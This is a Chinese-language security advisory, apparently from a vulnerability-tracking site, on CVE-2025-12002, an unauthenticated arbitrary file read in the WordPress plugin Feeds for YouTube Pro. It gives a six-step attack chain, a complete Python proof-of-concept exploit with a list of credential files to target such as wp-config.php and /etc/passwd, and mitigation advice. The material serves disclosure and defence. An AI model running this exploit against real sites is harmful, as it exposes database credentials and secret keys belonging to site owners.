IPBUF安全漏洞报告
English
CVE-2025-12002 CVSS 5.9 中危

CVE-2025-12002 WordPress Feeds for YouTube Pro插件任意文件读取漏洞

披露日期: 2026-01-17

漏洞信息

漏洞编号
CVE-2025-12002
漏洞类型
任意文件读取
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Feeds for YouTube Pro (WordPress插件)

相关标签

任意文件读取路径遍历WordPress插件漏洞Feeds for YouTube ProAJAX注入信息泄露CVE-2025-12002WordPress安全

漏洞概述

CVE-2025-12002是WordPress插件Feeds for YouTube Pro中的一个任意文件读取漏洞。该漏洞存在于所有2.6.0及以下版本中,攻击者可通过sby_check_wp_submit AJAX动作利用此漏洞。由于插件对用户输入的数据缺乏充分的消毒处理,攻击者可以在服务器上读取任意文件的内容。成功利用此漏洞可能导致敏感信息泄露,如配置文件、数据库凭证、其他插件的密钥等。该漏洞的利用需要特定条件:需启用"保存精选图片"设置且禁用"禁用WP帖子"选项。此漏洞仅影响Feeds for YouTube Pro版本,不影响免费版本。漏洞CVSS评分为5.9,属于中等严重程度,主要影响系统的机密性。

技术细节

该漏洞的根本原因在于Feeds for YouTube Pro插件的AdminAjaxService.php文件中的sby_check_wp_submit AJAX动作处理函数存在路径遍历和文件读取问题。攻击者可通过构造恶意的AJAX请求,在file参数中指定服务器上的任意文件路径,由于缺少适当的输入验证和路径安全检查,服务器会直接读取并返回指定文件的内容。漏洞影响的关键代码位置包括AdminAjaxService.php的第25行、第339行和第383行,以及sby-functions.php的第1038行和第1047行。攻击者利用此漏洞可以读取wp-config.php获取数据库凭证、读取其他插件的配置文件获取API密钥、读取.htaccess和.htpasswd等敏感文件。在实际攻击场景中,攻击者通常会结合其他漏洞或凭证利用方式进行进一步的攻击。防御此漏洞的关键是实现严格的文件路径验证,使用realpath()函数验证文件是否在允许的目录范围内,并实施完整的输入消毒机制。

攻击链分析

STEP 1
1
信息收集:攻击者识别目标网站使用的WordPress及Feeds for YouTube Pro插件版本,确认版本小于等于2.6.0
STEP 2
2
条件验证:确认目标站点启用了'Save Featured Images'设置且'Disable WP Posts'选项处于禁用状态
STEP 3
3
构造恶意请求:攻击者构造包含sby_check_wp_submit AJAX动作的HTTP POST请求,在file参数中指定目标文件路径
STEP 4
4
发送漏洞利用请求:向wp-admin/admin-ajax.php端点发送构造的请求,由于缺少输入验证,服务器直接读取指定文件
STEP 5
5
获取敏感信息:攻击者接收到文件内容,提取敏感信息如数据库凭证、API密钥、用户数据等
STEP 6
6
横向移动:利用获取的凭证进行进一步攻击,如数据库入侵、其他系统访问或完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12002 PoC - Feeds for YouTube Pro Arbitrary File Read # Target: WordPress site with Feeds for YouTube Pro plugin <= 2.6.0 # Prerequisites: 'Save Featured Images' enabled, 'Disable WP Posts' disabled def exploit_file_read(target_url, file_path): """ Exploit the arbitrary file read vulnerability via sby_check_wp_submit AJAX action. Args: target_url: Base URL of the WordPress site file_path: Path to the file to read (e.g., /etc/passwd, wp-config.php) Returns: Content of the requested file """ # Construct the AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Prepare the malicious request # The vulnerability is in the sby_check_wp_submit action # The file parameter is not properly sanitized, allowing path traversal data = { 'action': 'sby_check_wp_submit', 'task': 'customize_feed', 'file': file_path # Vulnerable parameter - no sanitization } try: # Send the exploit request response = requests.post(ajax_url, data=data, timeout=30) if response.status_code == 200: return response.text else: return f"Error: HTTP {response.status_code}" except requests.exceptions.RequestException as e: return f"Request failed: {str(e)}" def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-12002.py <target_url> ") print("Example: python cve-2025-12002.py http://example.com /etc/passwd") sys.exit(1) target_url = sys.argv[1].rstrip('/') file_path = sys.argv[2] print(f"[*] Targeting: {target_url}") print(f"[*] Attempting to read: {file_path}") print("-" * 50) content = exploit_file_read(target_url, file_path) print(content) if __name__ == "__main__": main() # Common target files for exploitation: # - /etc/passwd (Linux) or C:\Windows\boot.ini (Windows) # - wp-config.php (WordPress configuration with DB credentials) # - ../wp-config.php (path traversal variant) # - /var/www/html/wp-config.php (absolute path variant)

影响范围

Feeds for YouTube Pro <= 2.6.0

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 禁用Feeds for YouTube Pro插件并使用替代方案;2) 如果必须使用该插件,暂时禁用'Save Featured Images'功能并启用'禁用WP帖子'选项以降低风险;3) 通过.htaccess或Nginx配置限制对admin-ajax.php的访问,仅允许授权用户访问;4) 部署Web应用防火墙规则监控和阻止针对sby_check_wp_submit动作的可疑请求;5) 定期检查服务器日志,监控是否存在异常的AJAX请求模式;6) 确保wp-config.php等敏感文件不在Web可访问目录下,并设置适当的文件权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表